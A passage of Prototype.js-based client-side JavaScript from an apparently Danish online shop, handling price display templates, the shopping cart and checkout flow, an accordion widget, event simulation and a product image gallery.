    dk.ide.webservice.EditMeService.GetUserDetails(servicetoken, this.fillForm, this.failedCallBack);
 //   var options = this.options;
   //Here we CAN get the options.. wtf? 
   // alert(this.options.prefix);
	}
});if ( Object.isUndefined(CodeCompany) ) { var CodeCompany = { }; }

CodeCompany.AsyncPrices = Class.create({
	initialize: function(options)
	{
		this.itemids = [];

		this.options = Object.extend({
			successCallback: Prototype.emptyFunction,
			overviewType: 'normal',
			async: true
		}, options || { } );
		
		this.templates = 
		{
			normal: 
			{
				normal: new Template('Kr. #{price}'),
				offer: new Template('Nu Kr. #{price} <span class="specialprice">SPAR #{savings}</span>')
			},
			small:
			{
				normal: new Template('Kr. #{price}'),
				offer: new Template('Nu Kr. #{price}<br /><span class="specialprice">SPAR #{savings}</span>')
			},
			variant:
			{
				normal: new Template('#{price}'),
				offer: new Template('SPAR #{savings}')
			},
			product:
			{
				normal: new Template('#{price}'),
				offer: new Template('#{savings}'), 
				multiqty: new Template('<h2 class="title1" style="color:#ffffff;font-size:30px; margin-top:24px;">#{multiqty} stk</h2><h3 class="multiprice">&nbsp;#{multiprice},-</h3><br /><span class="multidiscount" style="color:#ffffff;">spar #{multisavings}</span>'),
				offertext: new Template('<p>Normalpris: #{price}</p>')
			}
		};
	},
	
	setSuccessCallback: function(fn)
	{
		this.options.successCallback = fn;
	},
	
	addItemId: function(itemid)
	{
		this.itemids.push(itemid);
	},
	
	render: function()
	{
		dk.ide.webservice.RelatedProducts.GetProductInformation(this.itemids.join(","), this.onSuccess.bind(this));
	},
	
	onSuccess: function(result)
	{
		var d = (!Object.isUndefined(result.d))?result.d:result;
		d.each(function(item){
			switch ( this.options.overviewType )
			{
				case 'variant':
				if(item.id!=''){
					$('priceinfo_'+item.id).update(this.templates[this.options.overviewType].normal.evaluate(item));
					if ( item.onoffer )
					{
						$('savings_'+item.id).update(this.templates[this.options.overviewType].offer.evaluate(item));
					}
					}
				break;
				
				case 'product':
					$('priceinfo_'+item.id).update(this.templates[this.options.overviewType].normal.evaluate(item));
					if ( item.onoffer )
					{
						$('savings_'+item.id).update(this.templates[this.options.overviewType].offer.evaluate(item));
						$('tilbudssplat_'+item.id).show();
					}
					if( item.multiplediscount ){
						$('tilbudssplat_'+item.id).update(this.templates[this.options.overviewType].multiqty.evaluate(item));
						$('tilbudssplat_'+item.id).show();
					}
					//Do stuff with shopcart? 
					if(!item.shopbable){
					$("no_shoppingcart_price_holder").show();
					}
					if( item.shopable){
					//show shopcart.
					$("add_to_shoppingcart_andor_price_holder").show();
					}
					if( item.bundleitem){
					//trigger systemitems :) 
					}
					//untill we have actual shopable items om the site;
					$("add_to_shoppingcart_andor_price_holder").show();
					$("no_shoppingcart_price_holder").hide();
					haveShownBundle = true;
					
					document.fire('custom:fontreplace');
				break;
				
				default:
					if ( item.onoffer )
					{
						$('tilbudssplat_'+item.id).show();
						$('priceinfo_'+item.id).update(this.templates[this.options.overviewType].offer.evaluate(item));
					}
					else
					{
						$('priceinfo_'+item.id).update(this.templates[this.options.overviewType].normal.evaluate(item));
					}
				break;
			}
		}, this);
		
		this.options.successCallback.delay();
	}
});var cartInfo
var cartInitialized = false
var currentItemChanged
var bundlesToShow = false
var showingInCheckout = false
var shoppingCartAnimating = false

//var url_customerservice = '/systemservice/shoppingcart/kundeservice?c=1'
var url_customerservice = '/systemservice/checkout/service?c=1'
var url_conditions = '/systemservice/shoppingcart/handelsbetingelser?c=1'
var url_serviceform = '/systemservice/checkout/service/serviceform?c=1'
var url_servicefaq = '/systemservice/checkout/faq?c=1'

chainSessionReady.addFunction(function(){InitializeShoppingCart_Main()},'InitializeShoppingCart',100);
// new width for the search input field on mac (not chrome)
chainDomLoaded.addFunction(function(){if(navigator.platform.toLowerCase().indexOf('mac')>-1 && navigator.userAgent.toLowerCase().indexOf('chrome')==-1){$$("#topSearch .search").each(function(item) {item.setStyle({width: '151px'})})}},'resizeSearchInput',100);

function InitializeShoppingCart_Main(){
	//Listerners
	$("shoppingcart_button").observe("click", toogleShoppingCart);
	$("shoppingcart_close").observe("click", toogleShoppingCart);
	$("shoppingcart_button_showall").observe("click", toogleShoppingCartSize);
	if($("add_to_shoppingcart_button")!=null){$("add_to_shoppingcart_button").observe("click", addToShoppingCartButtonHandler);}
	if($("add_to_shoppingcart_bundle_button")!=null){$("add_to_shoppingcart_bundle_button").observe("click", function(){hideBundles();animateAddToShoppingCart()});}
	if($("add_to_shoppingcart_bundle_close")!=null){$("add_to_shoppingcart_bundle_close").observe("click", hideBundles);}
	if($$(".shoppingcart_item_quantity_up")!=null){$$(".shoppingcart_item_quantity_up").invoke('observe', 'click',  updateNumber)}
	if($$(".shoppingcart_item_quantity_down")!=null){$$(".shoppingcart_item_quantity_down").invoke('observe', 'click',  updateNumber)}

    document.observe("payment:accept", function() {
        getShoppingCart();
    });

	//init the cart
	getShoppingCart()
}

function termsAccepted(){
    //console.log("termsAccepted: " + cartInfo.order.Header.acceptTerms)
    
    if(cartInfo.order.Header.acceptTerms==true){
        return true
    } else {
        return false
    }
}

function toggleTermsAccepted(event){
    Event.stop(event)
    //console.log("toggleTermsAccepted: " + $("acceptterms").checked)
    var accepted = $("acceptterms").checked;
    
    if($("acceptterms").checked=false){ 
        $("checkout_navigation").down(".navBtn").removeClassName("locked")
        $("checkout_navigation").down(".navBtn").addClassName("unlocked")
        $('tab2').addClassName('unlocked')
        $('tab2').removeClassName('locked')
    }else{
        $("checkout_navigation").down(".navBtn").removeClassName("unlocked")
        $("checkout_navigation").down(".navBtn").addClassName("locked")
        $('tab2').addClassName('locked')
        $('tab2').removeClassName('unlocked')
    }    
    if($("shoppingcart_item_message")!=null){$('shoppingcart_item_message').remove();}
    dk.ide.webservice.BasketService.UpdateAcceptTerms(CodeCompany.Cookie.read("BasketId"), accepted, updateBasketInfo);
}

function showItemsInCheckout(){
    showingInCheckout=true
    getShoppingCart()
    $("shoppingcart_button_showall_checkout").observe("click", toogleShoppingCartSize);
    $("acceptterms").observe("click", toggleTermsAccepted);
    $("accepttermslink").observe("click", function(event){Event.stop(event);$("handel_btn").simulate("click")});
    $("gotoAddresses").observe("click", checkBeforeNextTab);
}

function checkBeforeNextTab(){
    if(termsAccepted()){
        if(cartInfo.order.NumberOfItems==0){
            document.fire('errormessage:show', {
				boxname: 'commonerror',
				xpos: '404px', 
				ypos: '390px', 
				errormessage: 'Du har ingen varer i indk'+String.fromCharCode(248)+'bskurven og kan derfor ikke g'+String.fromCharCode(229)+' videre i kassen.'
			});
            $("checkout_navigation").down(".navBtn").removeClassName("locked");
            $("checkout_navigation").down(".navBtn").addClassName("unlocked");
            $('tab2').addClassName('unlocked');
            $('tab2').removeClassName('locked');
        } else {
            changePage.getit('getaddresses');
        }
    }else{
        $("gotoAddresses").insert(composeMessage("Du skal acceptere handelsbetingelserne for at forts"+String.fromCharCode(230)+"tte"), 'bottom');
    }
}

function hideBundles(){
    $("add_to_shoppingcart_price").show();
	new Effect.SlideUp($("add_to_shoppingcart_bundles"), {duration:.10, afterFinish: function() { $('add_to_shoppingcart_bundle').hide() }});
}
function showBundles(){
    $("add_to_shoppingcart_price").hide();
    $("add_to_shoppingcart_bundle").show();
	new Effect.SlideDown($("add_to_shoppingcart_bundles"), {duration:.10})
}

function addToShoppingCartButtonHandler(){
    if(bundlesToShow){
        showBundles();
        return false;
    }
    
    var newValue = $("add_to_shoppingcart_quantity_chooser").down(0).value;
    
    if(newValue>itemstock && itemstock!=0){
        
        $("add_to_shoppingcart_quantity_chooser").down(0).value = itemstock;
        
        // this one can only be an "Add_to_shoppin..." - maxstock overseeded
        $("add_to_shoppingcart_quantity_chooser").down(".shoppingcart_item_quantity_up").addClassName("disabled");
        if(itemstock>1){
            // theres more than one, therefore you can choose fewer
            $("add_to_shoppingcart_quantity_chooser").down(".shoppingcart_item_quantity_down").removeClassName("disabled");
        }
        var templ = new Template($("add_to_shoppingcart_alert_text").innerHTML);
        $("add_to_shoppingcart_alert_text").update(templ.evaluate({num:itemstock}));

        $("add_to_shoppingcart_alert").show();
        $("add_to_shoppingcart_alert").observe('click',  function(){$("add_to_shoppingcart_alert").hide()})           
    
        return false;
    }
    
    animateAddToShoppingCart();
}

function animateAddToShoppingCart(){
	/**NEW animation**/
	var newValue = $("add_to_shoppingcart_quantity_chooser").down(0).value;
    
    if(!isNaN(newValue) && newValue>0){  
		$('add_to_shoppingcart_offer_text').replace('<div id="add_to_shoppingcart_offer_text"><span>Indkøbskurven er opdateret</span></div>');
		$('add_to_shoppingcart_offer').addClassName('update');
		$('add_to_shoppingcart_offer').setStyle('display:block;');
		new Effect.Highlight($("add_to_shoppingcart_offer_text"), {startcolor: "#ffff99",endcolor: ""});
		new Effect.BlindUp($('add_to_shoppingcart_offer'), {duration:3, queue: 'end'});
		// itemId is a variabel from the page itself
		dk.ide.webservice.BasketService.PutItem(CodeCompany.Cookie.read("BasketId"), itemId, newValue, updateBasketInfo);
		currentItemChanged = "itemId_" + itemId;
	}
}

function updateBasketInfo(e){   
    var quantity = 0;
    var theTotal = "0,-";
    
    cartInfo = e;
    
    //updateSmallCartText
	$("shoppingcart_quantity_small").update(cartInfo.order.NumberOfItems + ((cartInfo.order.NumberOfItems == 1) ? " vare" : " varer") + " i kurven");
	$("shoppingcart_total_price_small").update("Pris inkl. fragt: " + cartInfo.basketTotal.printable);
		
	// Highlight effect
	if(currentItemChanged!=undefined){
       	new Effect.Highlight($("shoppingcart_quantity_small"), {startcolor: "#ffff99",endcolor: "#efefef"});
       	new Effect.Highlight($("shoppingcart_total_price_small"), {startcolor: "#ffff99",endcolor: "#efefef"});
    }
    
    // only in checkout
    if(showingInCheckout){
        if(termsAccepted()){
            $("acceptterms").checked = true;
            $("checkout_navigation").down(".navBtn").removeClassName("locked");
            $("checkout_navigation").down(".navBtn").addClassName("unlocked");
            $('tab2').removeClassName('locked');
            $('tab2').addClassName('unlocked');
        }else{
            $("acceptterms").checked = false;
            $("checkout_navigation").down(".navBtn").removeClassName("unlocked");
            $("checkout_navigation").down(".navBtn").addClassName("locked");
            $('tab2').removeClassName('unlocked');
            $('tab2').addClassName('locked');
        }
    }
    
    // remove alert if it exists
    if($("shoppingcart_item_message")!=null) {
		$('shoppingcart_item_message').remove();
	}
    $$(".shoppingcart_checkout").each(function(e) {e.removeClassName("disabled")});
    
    if(cartInfo.order.NumberOfItems==0){
        $$(".shoppingcart_checkout").each(function(e) {e.addClassName("disabled");});
    }    
    
    resetPriceInfo();
    buildProductList();
    
	if ( !showingInCheckout && cartInfo.FirstItemAdded ) // case 21811
	{
		document.fire('dialog:showdeliverydialog', cartInfo);
	}

    //(function() { document.fire('custom.systemfontreplace'); }).defer();
}

function getShoppingCart(){
    dk.ide.webservice.BasketService.Get(servicetoken, CodeCompany.Cookie.read("BasketId"), updateBasketInfo, failedBasket);
}

function failedBasket(){
	//$("shoppingcart_quantity_small").update("Der er sket en fejl.")
	//$("shoppingcart_total_price_small").update("<a href='mailto:support@ide.dk'>Kontakt support</a>")
}

function resetPriceInfo(){
    if(showingInCheckout){
        $('shoppingcart_price_big_collection_checkout').update('<div class="shoppingcart_big" id="shoppingcart_subtotal_big_label">Varek'+String.fromCharCode(248)+'b ialt</div><div class="shoppingcart_big" id="shoppingcart_subtotal_big"></div><div class="shoppingcart_big" id="shoppingcart_delivery_big_label">Fragt</div><div class="shoppingcart_big" id="shoppingcart_delivery_big"></div><div class="shoppingcart_big" id="shoppingcart_total_big_label">I alt</div><div class="shoppingcart_big" id="shoppingcart_total_big"></div><div id="shoppingcart_delivery_icon"></div>');
        $('shoppingcart_price_big_collection').update("");
    } else {
        if($("shoppingcart_price_big_collection_checkout")!=null){
			$('shoppingcart_price_big_collection_checkout').update("");
		}
        $('shoppingcart_price_big_collection').update('<div class="shoppingcart_big" id="shoppingcart_subtotal_big_label">Varek'+String.fromCharCode(248)+'b ialt</div><div class="shoppingcart_big" id="shoppingcart_subtotal_big"></div><div class="shoppingcart_big" id="shoppingcart_delivery_big_label">Fragt</div><div class="shoppingcart_big" id="shoppingcart_delivery_big"></div><div class="shoppingcart_big" id="shoppingcart_total_big_label">I alt</div><div class="shoppingcart_big" id="shoppingcart_total_big"></div><div id="shoppingcart_delivery_icon"></div>');
    }
}

function buildProductList(){
    //we haven't got any data to show
    if(cartInfo==undefined){return false}	
	
	$("shoppingcart_subtotal_big").update(cartInfo.basketSubTotal.printable);
    $("shoppingcart_total_big").update(cartInfo.basketTotal.printable);
    $("shoppingcart_delivery_big").update(cartInfo.freight.printable);
    
    
    var showAllBtn = $("shoppingcart_button_showall");
    if(showingInCheckout){
        showAllBtn = $("shoppingcart_button_showall_checkout");
    }
    
	showAllBtn.down(0).update("Vis alle "+cartInfo.order.NumberOfLines+" varer i kurven &raquo;");
	
	if(showingInCheckout){
    	$('shoppingcart_items_checkout').update('');
    	$('shoppingcart_items').update('');
    	for(var i=0;i<cartInfo.order.NumberOfLines;i++) {
    		createHTML($("shoppingcart_items_checkout"), cartInfo.order.Lines[i]);
    	}
    } else {
    	if($("shoppingcart_items_checkout")!=null) {
			$('shoppingcart_items_checkout').update('');
		}
    	$('shoppingcart_items').update('');
    	for(var i=0;i<cartInfo.order.NumberOfLines;i++) {
    		createHTML($("shoppingcart_items"), cartInfo.order.Lines[i]);
    	}
    }
	
	// Highlight effect
	try{
    	if(currentItemChanged!=undefined) {
           new Effect.Highlight($("shoppingcart_subtotal_big"), {startcolor: "#ffff99",endcolor: "#ffffff"});
           new Effect.Highlight($("shoppingcart_total_big"), {startcolor: "#ffff99",endcolor: "#ffffff"});
           
           var newItem = $(currentItemChanged).down(".shoppingcart_item_price");
           if(newItem!=null) {
			   new Effect.Highlight(newItem, {startcolor: "#ffff99",endcolor: "#efefef"});
			}
        }
        currentItemChanged=undefined;
     } catch(e){
		 currentItemChanged=undefined
	}
     
	if(cartInfo.order.NumberOfLines<=5){	
		showAllBtn.hide();
	} else {
		showAllBtn.down(0).update("Vis alle "+cartInfo.order.NumberOfLines+" varer i kurven &raquo;");
		showAllBtn.show();
	}
	
	if(!showAllBtn.hasClassName('open')){
	   // Only show first 5 if the cart haven't been opened
    	var items = $$('.shoppingcart_item');
    	
    	if(items.length>5){
    		items.each(function(item) {item.hide()});
    	
    		for (var index = 0; index < 5; ++index) {
    			items[index].show();
    		}
    	}
    }
	
	//Listerners
	$$(".shoppingcart_item img", ".shoppingcart_item_info").invoke('observe', 'mouseover', function(){ showDescription(this, "show") });
	$$(".shoppingcart_item img", ".shoppingcart_item_info").invoke('observe', 'mouseout', function(){ showDescription(this, "") });
	
	$$(".shoppingcart_item_quantity_up").invoke('observe', 'click',  updateNumber);
	$$(".shoppingcart_item_quantity_down").invoke('observe', 'click',  updateNumber);
	$$(".shoppingcart_item_quantity_input").invoke('observe', 'keyup',  updateNumberValue);
	
	$$(".shoppingcart_item_delete").invoke('observe', 'click',  showDeleteConfirm);

}

function initializeCart(){
    resetPriceInfo();
	buildProductList();
	getConditionsAndCustomerService();
	
	
    //var redirect = "http://" + window.location.host + window.location.pathname + '?checkout=1';
    var redirect = "https://" + window.location.host + window.location.pathname + '?checkout=1';
    //var redirect = '/fordele/checkout?checkout=1'
    $$(".shoppingcart_checkout").invoke('observe', 'click',  function(e){
        e.stop();
        if(cartInfo.order.NumberOfItems==0){
            //document.fire('errormessage:show', { boxname: 'commonerror',xpos: '350px', ypos: '245px', errormessage: 'Du har ingen varer i indk�bskurven og kan derfor ikke g� til kassen.' });
            $$(".shoppingcart_checkout").each(function(e) {e.addClassName("disabled");e.insert(composeMessage("Du har ingen varer i indk"+String.fromCharCode(248)+"bskurven og kan derfor ikke g"+String.fromCharCode(229)+" til kassen."), 'bottom');});
        } else {
            window.location.href=redirect;    
        }
    });

	cartInitialized = true;
}

/*function deleteItem(event){
	event.stop();
	var id = $(Event.element(event)).up('.shoppingcart_item').identify();
    currentItemChanged = id
	
	dk.ide.webservice.BasketService.RemoveItem(CodeCompany.Cookie.read("BasketId"), trimId(id), updateBasketInfo);
}*/

function showDeleteConfirm(event){
    event.stop();
	var id = $(Event.element(event)).up('.shoppingcart_item').identify();
	$(id).down('.shoppingcart_item_delete_confirm').show();
}

function dismissDelete(div_id){
    $(div_id).down('.shoppingcart_item_delete_confirm').hide();
    return false;
}

function deleteShoppingCartItem(div_id){
    currentItemChanged = div_id
	dk.ide.webservice.BasketService.RemoveItem(CodeCompany.Cookie.read("BasketId"), trimId(div_id), updateBasketInfo);
	return false;
}


function updateNumber(event){
    var number = 1;
    var elm = $(Event.element(event));
    
    if(elm.hasClassName("shoppingcart_item_quantity_down")){
        number = -1;
    }
   
	var input = elm.up(0).up(0).down(".shoppingcart_item_quantity_input");
	var newNum = Number(input.value) + number;
    var forced = 0;

    try{
        // its not an item in the shoppincart, but we are adding a item
        var id = elm.up('.shoppingcart_item').identify();
    } catch(e){}
    
    
    if(newNum<=1){
        newNum = 1;
        forced = 1;
    } else {
        if(id==undefined){
            if(newNum>itemstock && itemstock!=0){
                newNum = itemstock;
                forced = 2;
            }
        }
    }

    input.value = newNum;
    
    switch(forced){
        case 1:
            elm.up(0).down(".shoppingcart_item_quantity_down").addClassName("disabled");  
            break;
			
        case 2:
            // this one can only be an "Add_to_shoppin..." - maxstock overseeded
            elm.up(0).down(".shoppingcart_item_quantity_up").addClassName("disabled");
            var templ = new Template($("add_to_shoppingcart_alert_text").innerHTML)
            $("add_to_shoppingcart_alert_text").update(templ.evaluate({num:itemstock}));

            $("add_to_shoppingcart_alert").show();
            $("add_to_shoppingcart_alert").observe('click',  function(){$("add_to_shoppingcart_alert").hide()})           
            break;

        default:
            elm.up(0).down(".shoppingcart_item_quantity_down").removeClassName("disabled");
            elm.up(0).down(".shoppingcart_item_quantity_up").removeClassName("disabled");
            if($("add_to_shoppingcart_alert")!=null){$("add_to_shoppingcart_alert").hide()}
    }
                
    //if(forced==0){
        if(id!=undefined){
            currentItemChanged = id;
            dk.ide.webservice.BasketService.EditItem(CodeCompany.Cookie.read("BasketId"), trimId(id), newNum, updateBasketInfo);
         } else {
            // its not an item in the shoppincart, but we are adding a item
         }
    //}
}

function updateNumberValue(event){
	var input = $(Event.element(event));
	
	try{
      	var id = input.up('.shoppingcart_item').identify();
        currentItemChanged = id;
      	
      	var newNum = Number(input.value);
      	
      	if(newNum>0 && !isNaN(newNum)){
      		dk.ide.webservice.BasketService.EditItem(CodeCompany.Cookie.read("BasketId"), trimId(id), newNum, updateBasketInfo);
      	} /*else {
      	   // force the value to 1
      	   input.value = 1
      	   // but do we send the update?!
      	   dk.ide.webservice.BasketService.EditItem(CodeCompany.Cookie.read("BasketId"), trimId(id), 1, updateBasketInfo);
      	}*/
      } catch(e){}
}

function getConditionsAndCustomerService(){
	$("shoppingcart_accordion_holder").hide();
	//$("shoppingcart_customerservice").hide();
	new Ajax.Updater('shoppingcart_accordion_holder', url_conditions,{onComplete: function() {new Accordion({id: "shoppingcart_accordion"});$("shoppingcart_accordion_holder").appear({duration:.10})}});
//	new Ajax.Updater('shoppingcart_customerservice', url_customerservice,{onComplete: customerServiceOnComplete});
}

/*function customerServiceOnComplete(){
    $("shoppingcart_customerservice").appear({duration:.10});
    //$("service_toggle").observe('click',  getServiceForm)
    $("contact").observe('click',  getServiceForm)
    $("faq1").observe('click',  getFAQ)
}*/
/*
function getServiceForm(){
    //console.log("getServiceForm()")
    $("shoppingcart_customerservice").toggleClassName("open");
    if(!$("shoppingcart_customerservice").hasClassName("open")){
        $("contactinfo").hide();
        $("serviceLoader").update();
        new Effect.Morph('shoppingcart_customerservice',{style: { height:'142px' }, duration: 0.3});
    } else {
        new Effect.Morph('shoppingcart_customerservice',{style: { height:'420px' }, duration: 0.3, afterFinish: function(){
            $("contactinfo").show();
            new Ajax.Updater('serviceLoader', url_serviceform, { method:'get' });
        }});
    }
}
*/

function getFAQ(event){
    //console.log("getFAQ()")
    Event.stop(event);
    $("shoppingcart_large_centerright").toggleClassName("open");
    if($("shoppingcart_large_centerright").hasClassName("open")){
        $("shoppingcart_large_centerright").show();
        new Ajax.Updater('shoppingcart_large_centerright', url_servicefaq, { method:'get' });
    } else {
        $("shoppingcart_large_centerright").hide();
    }
}

function showDescription(event, show){
	var t = event.up(0).getElementsByClassName('shoppingcart_item_description');
	if (show!="") {
		t[0].addClassName("show");
	} else {
		t[0].removeClassName("show");
	}
}

function toogleShoppingCart(){
    //we haven't got any data to show
    // so this prevents anyone to open the cart
    if(cartInfo==undefined){return false}
    if(cartInfo.basketId==""){return false}
    
    //the cart is animation, so prevent any errors
    if(shoppingCartAnimating){return false}
    
    shoppingCartAnimating= true;

	$("shoppingcart_icon").toggleClassName("open");
	if(!$('shoppingcart_icon').hasClassName('open')){
		// hide        
		new Effect.SlideUp($('shoppingcart_large_container_content'), {duration:.50, afterFinish: function() { 
            // remove alert if it exists
            if($("shoppingcart_item_message")!=null){$('shoppingcart_item_message').remove();}
            $$(".shoppingcart_checkout").each(function(e) {e.removeClassName("disabled")});
            
      		$('shoppingcart_large_container').hide();
      		$("shoppingcart_small_info").appear({duration:.10});
      		shoppingCartAnimating=false;
		}});
		
	}else{
		//show
		if(!cartInitialized){
			initializeCart();
		}
		
        if(cartInfo.order.NumberOfItems==0){
            $$(".shoppingcart_checkout").each(function(e) {e.addClassName("disabled");});
        }
		
		$("shoppingcart_small_info").hide();
		$('shoppingcart_large_container').show();
		$('shoppingcart_large_container_content').hide();
		 new Effect.SlideDown($('shoppingcart_large_container_content'), {duration:.50, afterFinish: function(){shoppingCartAnimating=false}});		 
	}
}

function toogleShoppingCartSize(){
    var showAllBtn = $("shoppingcart_button_showall")
    if(showingInCheckout){
        showAllBtn = $("shoppingcart_button_showall_checkout");
    }
	showAllBtn.toggleClassName("open");
	if(!showAllBtn.hasClassName('open')){
		// small
		var minHeight=420;
		
		var items = $$('.shoppingcart_item')
		items.each(function(item) {item.hide()});
	
		for (var index = 0; index < 5; ++index) {
			items[index].show();
		}

		//initially we hide the viewport and btn, and show them after the animation
		$('shoppingcart_items_viewport').hide();
		showAllBtn.hide();
		// update the text on the btn
		showAllBtn.down(0).update("Vis alle "+cartInfo.order.NumberOfLines+" varer i kurven &raquo;")
		new Effect.Morph('shoppingcart_large_container_content', {style: 'height: ' + minHeight + 'px',duration: 0.10, afterFinish: showItems.call(this, 'small')})
		$("shoppingcart_checkouts_bottom").hide();
	}else{
		//big
		var paddingBottom = 100;
		
		$$('.shoppingcart_item').each(function(item) {item.show()});
		var newHeight = $('shoppingcart_items').getHeight();
		
		//initially we hide the viewport and btn, and show them after the animation
		$('shoppingcart_items_viewport').hide();
		showAllBtn.hide();
		// update the text on the btn
		showAllBtn.down(0).update("Vis kun de sidste 5 varer i kurven &raquo;");
		new Effect.Morph('shoppingcart_large_container_content', {style: 'height: ' + (newHeight+paddingBottom) + 'px',duration: 0.10, afterFinish: showItems.call(this, 'big') })
	}
}

function showItems(type){
    if(showingInCheckout){
        $('shoppingcart_button_showall_checkout', 'shoppingcart_items_viewport').each(function(e){e.appear({ duration: 0.1 })}) ;
    } else {
        $('shoppingcart_button_showall', 'shoppingcart_items_viewport').each(function(e){e.appear({ duration: 0.1 })}) ;
    }
    
	if(type=="big" && cartInfo.order.NumberOfLines>10){
		$("shoppingcart_checkouts_bottom").appear({ duration: 0.1 });
	}
}

function composeMessage(message){
    var templ = new Template(
		'<div id="shoppingcart_item_message" class="shoppingcart_item_message_outer">'+
			'<div class="shoppingcart_item_message_inner">'+
				'<div class="shoppingcart_item_message">'+
					'<div class="shoppingcart_item_message_padding">#{message}</div>'+
				'</div>'+
			'</div>'+
		'</div>'
	);
                           
	return templ.evaluate({message:message});
}

var Accordion = Class.create({
	initialize: function(options) {
		this.accordion = $(options.id);
		this.activeClass = "active";
		this.toggleClass = options.toggleClass || "shoppingcart_accordion_toogle";
		this.contentClass = options.contentClass || "shoppingcart_accordion_content";
		
		this.toogls = this.accordion.select("." + this.toggleClass);
		this.contents = this.accordion.select("." + this.contentClass);
		
		//this.isAnimating = false;
		this.current = null;
		this.toExpand = null;
		
		//this.hideAll();
		this.accordion.select("." +this.toggleClass).invoke("observe", "click", this.toggle.bindAsEventListener(this));
	},

	toggle: function(e) {
		var el = e.element();

		if(!el.hasClassName(this.activeClass) && !this.isAnimating){
			this.current = el;
			this.toExpand = el.next('.' + this.contentClass);
			this.animate();
		}
		e.stop();
		return false;
	},

	hideAll: function() {
		this.toogls.each(function(e) {
			e.removeClassName(this.activeClass);
		}.bind(this));
		this.contents.each(function(e) {
			//e.removeClassName(this.activeClass);
			e.hide();
		}.bind(this));
	},
	
	animate: function() {
		this.hideAll();
		this.current.addClassName(this.activeClass);
		//this.toExpand.show();
		new Effect.SlideDown(this.toExpand, {
			duration: 0.10
		});
	}
});


//trimId("itemId_12345") returns 12345
function trimId(id){
    return id.split("itemId_").join("");
}

function createHTML(root, info){
    var showDown = "";
    var showUp = "";
    
    if(info.qty==1){
        showDown = " disabled";
    }
    
    if(info.Notifications!=undefined){
        for(var i = 0;i<info.Notifications.length;i++){
            if(info.Notifications[i].NotificationType==1){        
                showUp=" disabled";
            }
        }
    }
    
    var truncInfo = (info.varebeskrivelse.length<71) ? info.varebeskrivelse : info.varebeskrivelse.substr(0, 70) + "...";
    
    var templ = new Template(
		'<div class="shoppingcart_item" id="#{id}"><div class="shoppingcart_item_name">#{name}</div>'+
		'<img  onerror="this.src=\'/files/system/gfx/fotopaavej/fotopaavej-224.jpg\';" width="72" height="40" src="/files/ide.dk/searchimages/#{clean_id}-001.jpg" alt="">'+
		'<div class="shoppingcart_item_quantity"><input size="2" class="shoppingcart_item_quantity_input" tabindex="1" value="#{quantity}">'+
		'<div class="shoppingcart_item_quantity_chooser"><div class="shoppingcart_item_quantity_up#{showUp}"></div><div class="shoppingcart_item_quantity_down#{showDown}"></div></div></div>'+
		'<div class="shoppingcart_item_price">#{price}</div><div class="shoppingcart_item_delete"><a href="">Slet produkt</a></div><div class="shoppingcart_item_description">#{description}</div>'+
		'<div class="shoppingcart_item_info"></div><div class="shoppingcart_item_delete_confirm" style="display: none;">'+
		'<div class="shoppingcart_item_delete_confirm_inner"><div>Fjern vare?</div><a href="" class="shoppingcart_item_delete_confirm_yes" onclick="deleteShoppingCartItem(\'#{id}\');return false;">'+String.fromCharCode(187)+' Ja</a>'+
		'<a href="" class="shoppingcart_item_delete_confirm_no" onclick="dismissDelete(\'#{id}\');return false;">' + String.fromCharCode(187) + ' Nej</a></div></div></div>'
	);
    root.insert(templ.evaluate({
		clean_id: info.itemId,
		id: "itemId_" + info.itemId,
		name: info.varenavn,
		description:truncInfo,
		showUp:showUp,
		showDown:showDown,
		quantity: info.qty,
		price: info.lineAmount.printable
	}), 'after');
}

// SIMULATE
(function(){
  
  var eventMatchers = {
    'HTMLEvents': /^(?:load|unload|abort|error|select|change|submit|reset|focus|blur|resize|scroll)$/,
    'MouseEvents': /^(?:click|mouse(?:down|up|over|move|out))$/
  }
  var defaultOptions = {
    pointerX: 0,
    pointerY: 0,
    button: 0,
    ctrlKey: false,
    altKey: false,
    shiftKey: false,
    metaKey: false,
    bubbles: true,
    cancelable: true
  }
  
  Event.simulate = function(element, eventName) {
    var options = Object.extend(defaultOptions, arguments[2] || { });
    var oEvent, eventType = null;
    
    element = $(element);
    
    for (var name in eventMatchers) {
      if (eventMatchers[name].test(eventName)) { eventType = name; break; }
    }

    if (!eventType)
      throw new SyntaxError('Only HTMLEvents and MouseEvents interfaces are supported');

    if (document.createEvent) {
      oEvent = document.createEvent(eventType);
      if (eventType == 'HTMLEvents') {
        oEvent.initEvent(eventName, options.bubbles, options.cancelable);
      }
      else {
        oEvent.initMouseEvent(eventName, options.bubbles, options.cancelable, document.defaultView, 
          options.button, options.pointerX, options.pointerY, options.pointerX, options.pointerY,
          options.ctrlKey, options.altKey, options.shiftKey, options.metaKey, options.button, element);
      }
      element.dispatchEvent(oEvent);
    }
    else {
      options.clientX = options.pointerX;
      options.clientY = options.pointerY;
      oEvent = Object.extend(document.createEventObject(), options);
      element.fireEvent('on' + eventName, oEvent);
    }
    return element;
  }
  
  Element.addMethods({ simulate: Event.simulate });
})();
var ProductGallery = Class.create(ID, {
	// Initialized with callback data from dk.ide.webservice.ProductService.GetBigProductImages (?!)
	initialize: function(pictures) {
		this.pictures = pictures;

		this.info = $("productgallery_info").innerHTML;
		var tt = pictures.length;
		console.log('Initial total: '+ this.total);
		// remove videos from lineup
		this.pictures.each(function(item) {
			console.log('Testing for video: '+(item.indexOf('-video.flv') > -1) + ' total: ' + tt);
			if(item.indexOf('-video.flv') > -1) {
			 tt = tt-1;
			}
		});
		this.total = tt;
		this.showing = 1;
		//this.clicked;

		if (this.total == 2 || this.total == 3) {
			$("productgallery_thumbnails").show();
		} else if (this.total > 3) {
			$("productgallery_thumbnails").show();
			$("productgallery_left").show();
			$("productgallery_right").show();
			$("productgallery_left").observe('click', this.previousThree.bind(this));
			$("productgallery_right").observe('click', this.nextThree.bind(this));
		}
		this.setupGallery();

		try {
			this.pictures.each(function(picture){
				this._log('Adding picture: '+Object.toJSON(picture));
			}, this);
		} catch(ex) {
			this._error('ProductGallery.initialize failed: '+ex);
		}
	},

	setupGallery: function() {
		var counter = 0;

		this.pictures.each(function(item) {
			if((item.indexOf('-video.flv') == -1)) {
					var div = new Element('div', {
					style: 'left:' + (counter * 78) + 'px;width:72px;height:40px',
					'class': 'img'
					});
					var imgWidth = '72';
					if (item.indexOf('/384x384/') > -1) {
						imgWidth = '40';
					}
					var img = new Element('img', {
						src: item,
						width: imgWidth,
						height: 40,
						alt: '',
						'class': 'image_' + counter
					});
					div.update(img);
					$("productgallery_thumbnails_container").insert(div);
					counter++;
			}
		});
		//selected image indicator
